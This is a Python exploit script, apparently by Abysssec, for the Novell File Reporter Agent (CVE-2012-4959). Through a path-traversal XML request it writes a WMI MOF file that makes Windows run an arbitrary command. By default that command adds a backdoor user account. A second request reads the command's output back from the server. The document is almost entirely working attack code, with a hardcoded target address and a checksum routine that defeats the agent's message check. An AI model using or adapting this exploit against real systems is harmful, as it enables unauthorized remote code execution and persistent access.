# wwww.abysssec.com
# Novell File Reporter Agent XML Parsing Remote Code Execution Vulnerability (0day)
# CVE-2012-4959
# @abysssec
# well just one more of our 0day got published after ~2 year
# here is info : https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959
# and here is our exploit

import httplib, md5, sys

def message_MD5(arg):
 v = "SRS" + arg + "SERVER"
 m = md5.new(v)
 return m.hexdigest()

def genMof(command="net user abysssec 123456 /add"):  
 
 vbs = ""
 vbs += "\"Set objShell = CreateObject(\\\"WScript.Shell\\\")\\n\"\n"
 vbs += "\"objShell.Run \\\"cmd.exe /C "
 vbs += command
 vbs += "\\\"\""

 mof = """
 #pragma namespace ("\\\\\\\\.\\\\root\\\\subscription")
 #pragma deleteclass("MyASEventConsumer", nofail)
 #pragma deleteinstance("__EventFilter.Name=\\\"EF\\\"", nofail)
 #pragma deleteinstance("ActiveScriptEventConsumer.Name=\\\"ASEC\\\"", nofail)

 class MyASEventConsumer
 {
  [key]string Name;
 };

 instance of ActiveScriptEventConsumer as $CONSUMER
 {
  CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0};
  Name = "ASEC";
  ScriptingEngine = "VBScript";   
  ScriptText =
 SCRIPT;
 };

 instance of __EventFilter as $FILTER
 {
  CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0};
  Name = "EF";
  Query = "SELECT * FROM __InstanceCreationEvent"
   " WHERE TargetInstance.__class = \\"MyASEventConsumer\\"";
  QueryLanguage = "WQL";
 };

 instance of __FilterToConsumerBinding as $BINDING
 {
  CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0};
  Filter = $FILTER;
  Consumer = $CONSUMER;
 };

 instance of MyASEventConsumer
 {
   Name = "Trigger";
 };
 """.replace('SCRIPT',vbs)

 return mof

def main(argv=None):
 if argv is None:
  argv = sys.argv
 
 if len(argv) != 2:
  print "[!] USAGE : mof \"<command]>\""
  return
 
 msg = "<ROOT><NAME>FSFUI</NAME><UICMD>130</UICMD><TOKEN><FILE>../../../../../../Windows/system32/wbem/mof/command.mof</FILE></TOKEN><![CDATA["
 msg += genMof(argv[1] + "> C:/Windows/System32/info.dat")
 msg += "]]></ROOT>"
 body = message_MD5(msg).upper() + msg
 headers = {"Content-type": "text/xml"}
 
 conn = httplib.HTTPSConnection("192.168.10.20:3037")   
 conn.request("POST", "/SRS/CMD",body, headers)
 response = conn.getresponse()
 print "\n...Command Executed ..."
 print response.status, response.reason
 
 print response.read()
 
 msg = "<ROOT><NAME>FSFUI</NAME><UICMD>126</UICMD><TOKEN><FILE>../../../../../../WINDOWS/system32/info.dat</FILE></TOKEN></ROOT>"
 body = message_MD5(msg).upper() + msg
 conn.request("POST", "/SRS/CMD",body, headers)
 response = conn.getresponse()
 conn.request("POST", "/SRS/CMD",body, headers)
 response = conn.getresponse()
 print "\n...Getting result ..."
 print response.status, response.reason 
 print response.read()
 
 
 conn.close()

if __name__ == "__main__":
    main()